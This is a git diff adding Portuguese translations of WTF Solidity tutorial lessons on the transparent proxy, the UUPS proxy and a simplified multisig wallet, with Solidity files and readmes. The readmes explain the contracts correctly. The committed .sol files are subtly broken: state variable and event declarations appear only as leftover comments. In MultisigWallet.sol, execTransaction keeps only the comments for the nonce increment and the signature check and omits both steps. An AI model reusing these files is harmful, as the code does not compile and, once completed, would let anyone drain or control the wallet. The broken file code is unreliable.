contrato de proxy. A chamada será bem-sucedida e a variável `words` será alterada para `"old"`. +![48-6.png](./img/48-6.png) + +5. Troque de volta para a carteira do administrador, chame a função `upgrade()` e aponte o endereço de `implementation` para o novo contrato de lógica `Logic2`. +![48-7.png](./img/48-7.png) + +6. Troque para uma nova carteira e, utilizando o seletor `0xc2985578`, chame a função `foo()` do novo contrato de lógica `Logic2` no contrato de proxy. A variável `words` será alterada para `"new"`. +![48-8.png](./img/48-8.png) + +## Conclusão + +Nesta lição, explicamos o conflito de seletores em contratos de proxy e como evitar esse problema com um Proxy Transparente. O Proxy Transparente resolve esse problema limitando as ações do administrador. Embora essa solução gere um custo adicional de gás a cada chamada de função pelos usuários, o Proxy Transparente ainda é a escolha favorita da maioria dos projetos. + +Na próxima lição, abordaremos o sistema de proxy universal de atualização (UUPS), que é mais complexo, porém exige menos gás. + diff --git a/Languages/pt-br/49_UUPS/UUPS.sol b/Languages/pt-br/49_UUPS/UUPS.sol new file mode 100644 index 000000000..670a5eb2b --- /dev/null +++ b/Languages/pt-br/49_UUPS/UUPS.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// O Proxy da UUPS é semelhante a um proxy comum. +// A função de atualização está dentro da função lógica, onde o administrador pode alterar o endereço do contrato lógico usando a função de atualização, alterando assim a lógica do contrato. +// Para fins de demonstração educacional, não utilizar em ambiente de produção. +contract UUPSProxy { + // Endereço do contrato lógico + // admin address + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Construtor, inicializa os endereços do admin e do contrato lógico + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback function, delegates the call to the logic contract + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } +} + +// Contrato lógico UUPS (função de atualização escrita dentro do contrato lógico) +contract UUPS1{ + // Variáveis de estado e contratos proxy são consistentes para evitar conflitos de slot + address public implementation; + address public admin; + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Alterando a variável de estado no proxy, seletor: 0xc2985578 + function foo() public{ + words = "old"; + } + + // Função de atualização, altera o endereço do contrato lógico, só pode ser chamada pelo admin. Selector: 0x0900f010 + // Em UUPS, a função lógica deve incluir uma função de atualização, caso contrário, não será possível fazer mais atualizações. + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} + +// Novo contrato lógico UUPS +contract UUPS2{ + // Variáveis de estado e contratos proxy são consistentes para evitar conflitos de slot + address public implementation; + address public admin; + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Alterando a variável de estado no proxy, seletor: 0xc2985578 + function foo() public{ + words = "new"; + } + + // Função de atualização, altera o endereço do contrato lógico, só pode ser chamada pelo admin. Selector: 0x0900f010 + // Em UUPS, a função lógica deve incluir uma função de atualização, caso contrário, não será possível fazer mais atualizações. + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} + + diff --git a/Languages/pt-br/49_UUPS/img/49-1.png b/Languages/pt-br/49_UUPS/img/49-1.png new file mode 100644 index 000000000..d0b99aedf Binary files /dev/null and b/Languages/pt-br/49_UUPS/img/49-1.png differ diff --git a/Languages/pt-br/49_UUPS/img/49-2.png b/Languages/pt-br/49_UUPS/img/49-2.png new file mode 100644 index 000000000..b5684084e Binary files /dev/null and b/Languages/pt-br/49_UUPS/img/49-2.png differ diff --git a/Languages/pt-br/49_UUPS/img/49-3.jpg b/Languages/pt-br/49_UUPS/img/49-3.jpg new file mode 100644 index 000000000..8e4734dba Binary files /dev/null and b/Languages/pt-br/49_UUPS/img/49-3.jpg differ diff --git a/Languages/pt-br/49_UUPS/img/49-3.png b/Languages/pt-br/49_UUPS/img/49-3.png new file mode 100644 index 000000000..97b7aa2bc Binary files /dev/null and b/Languages/pt-br/49_UUPS/img/49-3.png differ diff --git a/Languages/pt-br/49_UUPS/img/49-4.jpg b/Languages/pt-br/49_UUPS/img/49-4.jpg new file mode 100644 index 000000000..e6f4eb8e6 Binary files /dev/null and b/Languages/pt-br/49_UUPS/img/49-4.jpg differ diff --git a/Languages/pt-br/49_UUPS/img/49-5.jpg b/Languages/pt-br/49_UUPS/img/49-5.jpg new file mode 100644 index 000000000..387222b8b Binary files /dev/null and b/Languages/pt-br/49_UUPS/img/49-5.jpg differ diff --git a/Languages/pt-br/49_UUPS/img/49-6.jpg b/Languages/pt-br/49_UUPS/img/49-6.jpg new file mode 100644 index 000000000..eefab6cc4 Binary files /dev/null and b/Languages/pt-br/49_UUPS/img/49-6.jpg differ diff --git a/Languages/pt-br/49_UUPS/img/49-7.jpg b/Languages/pt-br/49_UUPS/img/49-7.jpg new file mode 100644 index 000000000..77e73828a Binary files /dev/null and b/Languages/pt-br/49_UUPS/img/49-7.jpg differ diff --git a/Languages/pt-br/49_UUPS/readme.md b/Languages/pt-br/49_UUPS/readme.md new file mode 100644 index 000000000..5638a41e3 --- /dev/null +++ b/Languages/pt-br/49_UUPS/readme.md @@ -0,0 +1,146 @@ +--- +title: 49. Proxy Universal Atualizável +tags: + - solidity + - proxy + - OpenZeppelin + +--- + +# WTF Solidity: 49. Proxy Universal Atualizável + +Recentemente, estou revisando Solidity para consolidar alguns detalhes e escrever um "WTF Solidity: Guia Básico" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta aula, vamos apresentar outra solução para o problema de conflito de seletores (Selector Clash) em contratos de proxy: o Proxy Universal Atualizável (UUPS, universal upgradeable proxy standard). O código do tutorial é simplificado a partir do contrato UUPSUpgradeable da OpenZeppelin e não deve ser usado em produção. + +## UUPS + +Na [aula anterior](../48_TransparentProxy/readme.md), aprendemos sobre o "conflito de seletores" (Selector Clash), que ocorre quando um contrato possui duas funções com o mesmo seletor, o que pode causar sérios problemas. Como uma alternativa ao proxy transparente, o UUPS também pode resolver esse problema. + +O Proxy Universal Atualizável (UUPS, universal upgradeable proxy standard) coloca a função de atualização no contrato lógico. Dessa forma, se houver outras funções que entrem em conflito com a função de atualização, um erro de compilação será gerado. + +A tabela a seguir resume as diferenças entre contratos atualizáveis comuns, proxies transparentes e UUPS: + +![Tipos de contratos atualizáveis](./img/49-1.png) + +## Contrato UUPS + +Primeiro, vamos revisar a [Aula 23 do WTF Solidity: Delegatecall](../23_Delegatecall/readme.md). Se o usuário A fizer um `delegatecall` para o contrato C (contrato lógico) por meio do contrato B (contrato de proxy), o contexto ainda será o do contrato B e o `msg.sender` será o usuário A, não o contrato B. Portanto, o contrato UUPS pode colocar a função de atualização no contrato lógico e verificar se o chamador é o administrador. + +![delegatecall](./img/49-2.png) + +### Contrato de Proxy UUPS + +O contrato de proxy UUPS se parece com um contrato de proxy não atualizável e é muito simples, porque a função de atualização está no contrato lógico. Ele contém três variáveis: +- `implementation`: endereço do contrato lógico. +- `admin`: endereço do administrador. +- `words`: uma string que pode ser alterada por meio de funções do contrato lógico. + +Ele contém duas funções: + +- Construtor: inicializa o endereço do administrador e do contrato lógico. +- `fallback()`: função de fallback que delega a chamada para o contrato lógico. + +```solidity +contract UUPSProxy { + address public implementation; // endereço do contrato lógico + address public admin; // endereço do administrador + string public words; // uma string que pode ser alterada por meio de funções do contrato lógico + + // Construtor: inicializa o endereço do administrador e do contrato lógico + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback: delega a chamada para o contrato lógico + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } +} +``` + +### Contrato Lógico UUPS + +O contrato lógico UUPS é diferente do contrato apresentado na [Aula 47](../47_Upgrade/readme.md) porque agora possui uma função de atualização. O contrato lógico UUPS contém três variáveis de estado, que são as mesmas do contrato de proxy para evitar conflitos de slots. Ele contém duas funções: +- `upgrade()`: função de atualização que altera o endereço do contrato lógico `implementation` e só pode ser chamada pelo `admin`. +- `foo()`: a versão antiga do contrato UUPS altera o valor de `words` para `"old"`, enquanto a nova versão altera para `"new"`. + +```solidity +// Contrato lógico UUPS (função de atualização no contrato lógico) +contract UUPS1{ + // Variáveis de estado que são as mesmas do contrato de proxy para evitar conflitos de slots + address public implementation; + address public admin; + string public words; // uma string que pode ser alterada por meio de funções do contrato lógico + + // Altera a variável de estado do contrato de proxy, seletor: 0xc2985578 + function foo() public{ + words = "old"; + } + + // Função de atualização que altera o endereço do contrato lógico e só pode ser chamada pelo admin, seletor: 0x0900f010 + // No UUPS, o contrato lógico deve conter a função de atualização, caso contrário, não poderá ser atualizado novamente. + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} + +// Nova versão do contrato lógico UUPS +contract UUPS2{ + // Variáveis de estado que são as mesmas do contrato de proxy para evitar conflitos de slots + address public implementation; + address public admin; + string public words; // uma string que pode ser alterada por meio de funções do contrato lógico + + // Altera a variável de estado do contrato de proxy, seletor: 0xc2985578 + function foo() public{ + words = "new"; + } + + // Função de atualização que altera o endereço do contrato lógico e só pode ser chamada pelo admin, seletor: 0x0900f010 + // No UUPS, o contrato lógico deve conter a função de atualização, caso contrário, não poderá ser atualizado novamente. + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} +``` + +## Implementação no Remix + +1. Implante as versões antigas e novas do contrato lógico UUPS, `UUPS1` e `UUPS2`. + +![demo](./img/49-3.jpg) + +2. Implante o contrato de proxy UUPS, `UUPSProxy`, e defina o endereço de `implementation` como o do contrato lógico antigo, `UUPS1`. + +![demo](./img/49-4.jpg) + +3. Usando o seletor `0xc2985578`, chame a função `foo()` do contrato lógico antigo, `UUPS1`, no contrato de proxy para alterar o valor de `words` para `"old"`. + +![demo](./img/49-5.jpg) + +4. Usando um codificador ABI online, como o [HashEx](https://abi.hashex.org/), obtenha a codificação binária e chame a função de atualização `upgrade()` para definir o endereço de `implementation` como o do contrato lógico novo, `UUPS2`. + +![codificação](./img/49-3.png) + +![demo](./img/49-6.jpg) + +5. Usando o seletor `0xc2985578`, chame a função `foo()` do contrato lógico novo, `UUPS2`, no contrato de proxy para alterar o valor de `words` para `"new"`. + +![demo](./img/49-7.jpg) + +## Conclusão + +Nesta aula, apresentamos outra solução para o problema de "conflito de seletores" em contratos de proxy: o UUPS. Ao contrário do proxy transparente, o UUPS coloca a função de atualização no contrato lógico, o que impede que ocorra um conflito de seletores durante a compilação. Comparado ao proxy transparente, o UUPS consome menos gas, mas também é mais complexo. + diff --git a/Languages/pt-br/50_MultisigWallet/MultisigWallet.sol b/Languages/pt-br/50_MultisigWallet/MultisigWallet.sol new file mode 100644 index 000000000..12e6c8a56 --- /dev/null +++ b/Languages/pt-br/50_MultisigWallet/MultisigWallet.sol @@ -0,0 +1,152 @@ +// SPDX-License-Identifier: MIT +// autor: @0xAA_Science da wtf.academy +pragma solidity ^0.8.21; + +/// Carteira multi-assinatura baseada em assinaturas, simplificada a partir do contrato Gnosis Safe, para fins educacionais. +contract MultisigWallet { + // Evento de transação bem-sucedida + // Evento de falha na transação + // Array de detentores de múltiplas assinaturas + // Registra se um endereço é um endereço multi-assinatura + // Número de titulares de múltiplas assinaturas + // O limite de execução de assinaturas múltiplas requer que uma transação seja assinada por pelo menos n pessoas para ser executada. + // nonce, para evitar ataques de repetição de assinatura + + receive() external payable {} + + // Construtor, inicializa owners, isOwner, ownerCount, threshold + constructor( + address[] memory _owners, + uint256 _threshold + ) { + _setupOwners(_owners, _threshold); + } + + /// @dev Inicializa owners, isOwner, ownerCount e threshold + /// @param _owners: Array of multi-signature holders + /// @param _threshold: Limiar de execução de múltiplas assinaturas, pelo menos quantas pessoas assinaram a transação + function _setupOwners(address[] memory _owners, uint256 _threshold) internal { + // threshold não foi inicializado antes + require(threshold == 0, "WTF5000"); + // Limiar de execução de assinaturas múltiplas menor que o número de assinantes múltiplos + require(_threshold <= _owners.length, "WTF5001"); + // O limite mínimo de execução de assinaturas múltiplas é de 1. + require(_threshold >= 1, "WTF5002"); + + for (uint256 i = 0; i < _owners.length; i++) { + address owner = _owners[i]; + // Os signatários múltiplos não podem ser endereços zero, nem o endereço deste contrato, e não podem ser repetidos. + require(owner != address(0) && owner != address(this) && !isOwner[owner], "WTF5003"); + owners.push(owner); + isOwner[owner] = true; + } + ownerCount = _owners.length; + threshold = _threshold; + } + + /// @dev Após coletar assinaturas suficientes de múltiplas partes, execute a transação. + /// @param to Endereço do contrato de destino + /// @param value msg.value, pagamento em Ethereum + /// @param data calldata + /// @param signatures Assinaturas empacotadas, correspondentes aos endereços de várias assinaturas em ordem crescente, para facilitar a verificação. ({bytes32 r}{bytes32 s}{uint8 v}) (Assinatura do primeiro endereço, Assinatura do segundo endereço, ...) + function execTransaction( + address to, + uint256 value, + bytes memory data, + bytes memory signatures + ) public payable virtual returns (bool success) { + // Codificando dados de transação, calculando o hash + bytes32 txHash = encodeTransactionData(to, value, data, nonce, block.chainid); + // Adicionar nonce + // Verificar assinatura + // Usando a função call para executar uma transação e obter o resultado da transação + (success, ) = to.call{value: value}(data); + require(success , "WTF5004"); + if (success) emit ExecutionSuccess(txHash); + else emit ExecutionFailure(txHash); + } + + /** + * @dev Verifica se a assinatura corresponde aos dados da transação. Se a assinatura for inválida, a transação será revertida. + * @param dataHash Hash dos dados da transação + * @param signatures Assinaturas de várias partes juntas + */ + function checkSignatures( + bytes32 dataHash, + bytes memory signatures + ) public view { + // Ler o limiar de execução de assinaturas múltiplas + uint256 _threshold = threshold; + require(_threshold > 0, "WTF5005"); + + // Verifique se o comprimento da assinatura é suficientemente longo + require(signatures.length >= _threshold * 65, "WTF5006"); + + // Através de um loop, verifique se as assinaturas coletadas são válidas + // Grande ideia: + // 1. Verificar primeiro se a assinatura é válida usando o algoritmo ECDSA + // 2. Usando currentOwner > lastOwner para determinar se a assinatura vem de um contrato multi-assinatura diferente (endereços de contrato multi-assinatura em ordem crescente) + // 3. Utilize isOwner[currentOwner] to determine if the signer is a multi-signature holder + address lastOwner = address(0); + address currentOwner; + uint8 v; + bytes32 r; + bytes32 s; + uint256 i; + for (i = 0; i < _threshold; i++) { + (v, r, s) = signatureSplit(signatures, i); + // Usando ecrecover para verificar se a assinatura é válida + currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s); + require(currentOwner > lastOwner && isOwner[currentOwner], "WTF5007"); + lastOwner = currentOwner; + } + } + + /// Separar uma assinatura individual de uma assinatura empacotada + /// @param signatures Assinaturas de pacotes multi-assinados + /// @param pos Índice do multisig a ser lido. + function signatureSplit(bytes memory signatures, uint256 pos) + internal + pure + returns ( + uint8 v, + bytes32 r, + bytes32 s + ) + { + // Formato da assinatura: {bytes32 r}{bytes32 s}{uint8 v} + assembly { + let signaturePos := mul(0x41, pos) + r := mload(add(signatures, add(signaturePos, 0x20))) + s := mload(add(signatures, add(signaturePos, 0x40))) + v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff) + } + } + + /// @dev Codificar dados de transação + /// @param to Endereço do contrato de destino + /// @param value msg.value, pagamento em Ethereum + /// @param data calldata + /// @param _nonce Número de sequência da transação. + /// @param chainid ID da cadeia + /// @return Bytes do hash da transação. + function encodeTransactionData( + address to, + uint256 value, + bytes memory data, + uint256 _nonce, + uint256 chainid + ) public pure returns (bytes32) { + bytes32 safeTxHash = + keccak256( + abi.encode( + to, + value, + keccak256(data), + _nonce, + chainid + ) + ); + return safeTxHash; + } +} diff --git a/Languages/pt-br/50_MultisigWallet/img/50-1.png b/Languages/pt-br/50_MultisigWallet/img/50-1.png new file mode 100644 index 000000000..5323771f4 Binary files /dev/null and b/Languages/pt-br/50_MultisigWallet/img/50-1.png differ diff --git a/Languages/pt-br/50_MultisigWallet/img/50-2.png b/Languages/pt-br/50_MultisigWallet/img/50-2.png new file mode 100644 index 000000000..13c0e0940 Binary files /dev/null and b/Languages/pt-br/50_MultisigWallet/img/50-2.png differ diff --git a/Languages/pt-br/50_MultisigWallet/img/50-3.png b/Languages/pt-br/50_MultisigWallet/img/50-3.png new file mode 100644 index 000000000..65acb0ac6 Binary files /dev/null and b/Languages/pt-br/50_MultisigWallet/img/50-3.png differ diff --git a/Languages/pt-br/50_MultisigWallet/img/50-4.png b/Languages/pt-br/50_MultisigWallet/img/50-4.png new file mode 100644 index 000000000..040b2ed5d Binary files /dev/null and b/Languages/pt-br/50_MultisigWallet/img/50-4.png differ diff --git a/Languages/pt-br/50_MultisigWallet/img/50-5.png b/Languages/pt-br/50_MultisigWallet/img/50-5.png new file mode 100644 index 000000000..eaaf79858 Binary files /dev/null and b/Languages/pt-br/50_MultisigWallet/img/50-5.png differ diff --git a/Languages/pt-br/50_MultisigWallet/img/50-6.png b/Languages/pt-br/50_MultisigWallet/img/50-6.png new file mode 100644 index 000000000..91c866a29 Binary files /dev/null and b/Languages/pt-br/50_MultisigWallet/img/50-6.png differ diff --git a/Languages/pt-br/50_MultisigWallet/readme.md b/Languages/pt-br/50_MultisigWallet/readme.md new file mode 100644 index 000000000..1f543f308 --- /dev/null +++ b/Languages/pt-br/50_MultisigWallet/readme.md @@ -0,0 +1,307 @@ +--- +title: 50. Carteira Multisig +tags: + - solidity + - call + - assinatura + - codificação ABI + +--- + +# WTF Solidity para Iniciantes: 50. Carteira Multisig + +Recentemente, tenho estudado Solidity novamente para revisar os detalhes e escrever um "WTF Solidity para Iniciantes" para ajudar os novatos (os programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Vitalik Buterin já disse que uma carteira multisig é mais segura do que uma carteira de hardware ([tweet](https://twitter.com/VitalikButerin/status/1558886893995134978?s=20&t=4WyoEWhwHNUtAuABEIlcRw)). Nesta lição, vamos falar sobre carteiras multisig e escrever um contrato de carteira multisig simplificado. O código de ensino (150 linhas de código) é uma simplificação do contrato Gnosis Safe (com milhares de linhas de código). + +![Vitalik Buterin](./img/50-1.png) + +## Carteira Multisig + +Uma carteira multisig é uma carteira eletrônica que requer a autorização de múltiplos detentores de chaves privadas (signatários) para executar uma transação. Por exemplo, uma carteira gerenciada por 3 signatários, onde cada transação requer pelo menos 2 assinaturas para ser autorizada. As carteiras multisig podem evitar falhas de ponto único (perda de chave privada, má fé de um único indivíduo), são mais descentralizadas e mais seguras, sendo amplamente adotadas por várias DAOs. + +A carteira multisig Gnosis Safe é a carteira multisig mais popular do Ethereum, gerenciando quase US$ 40 bilhões em ativos. O contrato foi auditado e testado em produção, suporta várias redes (Ethereum, BSC, Polygon, etc.) e oferece suporte a uma ampla variedade de DApps. Para mais informações, você pode ler o tutorial de uso do Gnosis Safe que escrevi em dezembro de 2021 [aqui](https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s). + +## Contrato de Carteira Multisig + +No Ethereum, uma carteira multisig é, na verdade, um contrato inteligente, conhecido como carteira de contrato. Abaixo, vamos escrever um contrato de carteira multisig simplificado chamado `MultisigWallet`. A lógica do contrato é bastante simples: + +1. Configurar signatários e limite (on-chain): Ao implantar o contrato de carteira multisig, precisamos inicializar a lista de signatários e o limite de execução (ou seja, o número mínimo de signatários necessários para autorizar uma transação). A carteira multisig Gnosis Safe suporta adicionar/remover signatários e alterar o limite de execução, mas não consideraremos essa funcionalidade em nossa versão simplificada. + +2. Criar transação (off-chain): Uma transação pendente de autorização contém as seguintes informações: + - `to`: endereço do contrato de destino. + - `value`: quantidade de Ether a ser enviada na transação. + - `data`: calldata, incluindo o seletor e os parâmetros da função chamada. + - `nonce`: inicialmente definido como `0` e incrementado a cada transação bem-sucedida executada pelo contrato multisig, para evitar ataques de repetição de assinatura. + - `chainid`: ID da rede, para evitar ataques de repetição de assinatura em redes diferentes. + +3. Coletar assinaturas multisig (off-chain): Codificar a transação do passo anterior usando ABI e calcular o hash para obter o hash da transação. Em seguida, cada signatário deve assinar a transação e as assinaturas são concatenadas para formar uma assinatura compactada. Se você não está familiarizado com a codificação ABI e o cálculo de hash, pode conferir as lições 27 e 28 do WTF Solidity [aqui](../27_ABIEncode/readme.md) e [aqui](../28_Hash/readme.md). + + ```solidity + Hash da transação: 0xc1b055cf8e78338db21407b425114a2e258b0318879327945b661bfdea570e66 + + Assinatura do signatário A: 0x014db45aa753fefeca3f99c2cb38435977ebb954f779c2b6af6f6365ba4188df542031ace9bdc53c655ad2d4794667ec2495196da94204c56b1293d0fbfacbb11c + + Assinatura do signatário B: 0xbe2e0e6de5574b7f65cad1b7062be95e7d73fe37dd8e888cef5eb12e964ddc597395fa48df1219e7f74f48d86957f545d0fbce4eee1adfbaff6c267046ade0d81c + + Assinatura compactada: + 0x014db45aa753fefeca3f99c2cb38435977ebb954f779c2b6af6f6365ba4188df542031ace9bdc53c655ad2d4794667ec2495196da94204c56b1293d0fbfacbb11cbe2e0e6de5574b7f65cad1b7062be95e7d73fe37dd8e888cef5eb12e964ddc597395fa48df1219e7f74f48d86957f545d0fbce4eee1adfbaff6c267046ade0d81c + ``` + +4. Chamar a função de execução do contrato multisig, verificar as assinaturas e executar a transação (on-chain). Se você não está familiarizado com a verificação de assinaturas e a execução de transações, pode conferir as lições 22 e 37 do WTF Solidity [aqui](../22_Call/readme.md) e [aqui](../37_Signature/readme.md). + +### Eventos + +O contrato `MultisigWallet` possui dois eventos: `ExecutionSuccess` e `ExecutionFailure`, que são emitidos quando uma transação é executada com sucesso ou falha, respectivamente. O parâmetro desses eventos é o hash da transação. + +```solidity + event ExecutionSuccess(bytes32 txHash); // Evento de sucesso de execução + event ExecutionFailure(bytes32 txHash); // Evento de falha de execução +``` + +### Variáveis de Estado + +O contrato `MultisigWallet` possui cinco variáveis de estado: +1. `owners`: array de endereços dos signatários. +2. `isOwner`: mapeamento `address => bool` que registra se um endereço é um signatário. +3. `ownerCount`: número de signatários. +4. `threshold`: limite de execução multisig, ou seja, o número mínimo de signatários necessários para autorizar uma transação. +5. `nonce`: inicialmente definido como `0` e incrementado a cada transação bem-sucedida executada pelo contrato multisig, para evitar ataques de repetição de assinatura. + +```solidity + address[] public owners; // Array de endereços dos signatários + mapping(address => bool) public isOwner; // Mapeamento que registra se um endereço é um signatário + uint256 public ownerCount; // Número de signatários + uint256 public threshold; // Limite de execução multisig, número mínimo de signatários necessários para autorizar uma transação + uint256 public nonce; // Nonce, para evitar ataques de repetição de assinatura +``` + +### Funções + +O contrato `MultisigWallet` possui seis funções: + +1. Construtor: chama a função `_setupOwners()` para inicializar as variáveis relacionadas aos signatários e ao limite de execução. + + ```solidity + // Construtor, inicializa owners, isOwner, ownerCount, threshold + constructor( + address[] memory _owners, + uint256 _threshold + ) { + _setupOwners(_owners, _threshold); + } + ``` + +2. `_setupOwners()`: chamada pelo construtor ao implantar o contrato, inicializa as variáveis `owners`, `isOwner`, `ownerCount` e `threshold`. Nos parâmetros de entrada, o limite de execução deve ser maior ou igual a `1` e menor ou igual ao número de signatários; os endereços dos signatários não podem ser o endereço `0` e não podem ser repetidos. + + ```solidity + /// @dev Inicializa owners, isOwner, ownerCount, threshold + /// @param _owners: array de endereços dos signatários + /// @param _threshold: limite de execução multisig, número mínimo de signatários necessários para autorizar uma transação + function _setupOwners(address[] memory _owners, uint256 _threshold) internal { + // Verifica se o limite de execução não foi inicializado anteriormente + require(threshold == 0, "WTF5000"); + // Verifica se o limite de execução é menor ou igual ao número de signatários + require(_threshold <= _owners.length, "WTF5001"); + // Verifica se o limite de execução é maior ou igual a 1 + require(_threshold >= 1, "WTF5002"); + + for (uint256 i = 0; i < _owners.length; i++) { + address owner = _owners[i]; + // Verifica se o endereço do signatário não é o endereço 0, o endereço deste contrato e se não é repetido + require(owner != address(0) && owner != address(this) && !isOwner[owner], "WTF5003"); + owners.push(owner); + isOwner[owner] = true; + } + ownerCount = _owners.length; + threshold = _threshold; + } + ``` + +3. `execTransaction()`: verifica as assinaturas e executa a transação após coletar assinaturas suficientes. Os parâmetros de entrada são o endereço de destino `to`, o valor de Ether a ser enviado `value`, os dados `data` e as assinaturas compactadas `signatures`. As assinaturas compactadas são as assinaturas individuais dos signatários concatenadas em uma única sequência de bytes, na ordem crescente dos endereços dos signatários. Esta função chama a função `encodeTransactionData()` para codificar a transação, chama a função `checkSignatures()` para verificar se as assinaturas são válidas e se o número de assinaturas atingiu o limite de execução. + + ```solidity + /// @dev Executa a transação após coletar assinaturas suficientes + /// @param to: endereço do contrato de destino + /// @param value: msg.value, quantidade de Ether a ser paga + /// @param data: calldata + /// @param signatures: assinaturas compactadas, correspondentes aos endereços dos signatários em ordem crescente ({bytes32 r}{bytes32 s}{uint8 v}) (assinatura do primeiro signatário, assinatura do segundo signatário, ...) + function execTransaction( + address to, + uint256 value, + bytes memory data, + bytes memory signatures + ) public payable virtual returns (bool success) { + // Codifica os dados da transação e calcula o hash + bytes32 txHash = encodeTransactionData(to, value, data, nonce, block.chainid); + nonce++; // Incrementa o nonce + checkSignatures(txHash, signatures); // Verifica as assinaturas + // Executa a transação usando call e obtém o resultado da transação + (success, ) = to.call{value: value}(data); + require(success , "WTF5004"); + if (success) emit ExecutionSuccess(txHash); + else emit ExecutionFailure(txHash); + } + ``` + +4. `checkSignatures()`: verifica se as assinaturas correspondem ao hash dos dados da transação, se o número de assinaturas atingiu o limite de execução e se as assinaturas são de signatários válidos. Caso contrário, a transação será revertida. O comprimento de uma assinatura individual é de 65 bytes, portanto, o comprimento da assinatura compactada deve ser maior que `threshold * 65`. Esta função chama a função `signatureSplit()` para separar as assinaturas individuais. A lógica geral desta função é a seguinte: + - Usa a função `ecrecover` para obter o endereço da assinatura. + - Usa a comparação `currentOwner > lastOwner` para garantir que a assinatura venha de diferentes signatários (endereços dos signatários em ordem crescente). + - Usa `isOwner[currentOwner]` para verificar se o assinante é um signatário válido. + + ```solidity + /** + * @dev Verifica se as assinaturas correspondem aos dados da transação. A transação será revertida se uma assinatura for inválida. + * @param dataHash: hash dos dados da transação + * @param signatures: assinaturas compactadas + */ + function checkSignatures( + bytes32 dataHash, + bytes memory signatures + ) public view { + // Lê o limite de execução multisig + uint256 _threshold = threshold; + require(_threshold > 0, "WTF5005"); + + // Verifica se o comprimento das assinaturas é suficientemente longo + require(signatures.length >= _threshold * 65, "WTF5006"); + + // Verifica se cada assinatura coletada é válida + // Lógica geral: + // 1. Verifica se a assinatura é válida usando ecrecover + // 2. Usa a comparação currentOwner > lastOwner para garantir que a assinatura venha de diferentes signatários (endereços dos signatários em ordem crescente) + // 3. Usa isOwner[currentOwner] para verificar se o assinante é um signatário válido + address lastOwner = address(0); + address currentOwner; + uint8 v; + bytes32 r; + bytes32 s; + uint256 i; + for (i = 0; i < _threshold; i++) { + (v, r, s) = signatureSplit(signatures, i); + // Verifica se a assinatura é válida usando ecrecover + currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s); + require(currentOwner > lastOwner && isOwner[currentOwner], "WTF5007"); + lastOwner = currentOwner; + } + } + ``` + +5. `signatureSplit()`: separa uma assinatura individual de uma assinatura compactada. Os parâmetros de entrada são a assinatura compactada `signatures` e a posição da assinatura a ser lida `pos`. Esta função usa assembly inline para separar os valores `r`, `s` e `v` da assinatura. + + ```solidity + /// Separa uma assinatura individual de uma assinatura compactada + /// @param signatures: assinatura compactada + /// @param pos: posição da assinatura a ser lida + function signatureSplit(bytes memory signatures, uint256 pos) + internal + pure + returns ( + uint8 v, + bytes32 r, + bytes32 s + ) + { + // Formato da assinatura: {bytes32 r}{bytes32 s}{uint8 v} + assembly { + let signaturePos := mul(0x41, pos) + r := mload(add(signatures, add(signaturePos, 0x20))) + s := mload(add(signatures, add(signaturePos, 0x40))) + v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff) + } + } + ``` + +6. `encodeTransactionData()`: codifica os dados da transação e calcula o hash. Esta função usa `abi.encode()` e `keccak256()`. Ela pode ser usada para calcular o hash de uma transação e, em seguida, coletar as assinaturas dos signatários off-chain e chamar a função `execTransaction()` para executar a transação. + + ```solidity + /// @dev Codifica os dados da transação + /// @param to: endereço do contrato de destino + /// @param value: msg.value, quantidade de Ether a ser paga + /// @param data: calldata + /// @param _nonce: nonce da transação + /// @param chainid: ID da rede + /// @return: Hash da transação em bytes32 + function encodeTransactionData( + address to, + uint256 value, + bytes memory data, + uint256 _nonce, + uint256 chainid + ) public pure returns (bytes32) { + bytes32 txHash = + keccak256( + abi.encode( + to, + value, + keccak256(data), + _nonce, + chainid + ) + ); + return txHash; + } + ``` + +## Demonstração no Remix + +1. Implante o contrato de carteira multisig com 2 endereços de signatários e um limite de execução de 2. + + ```solidity + Endereço do signatário 1: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + Endereço do signatário 2: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + ``` + + ![Implantação](./img/50-2.png) + +2. Faça uma transferência de 1 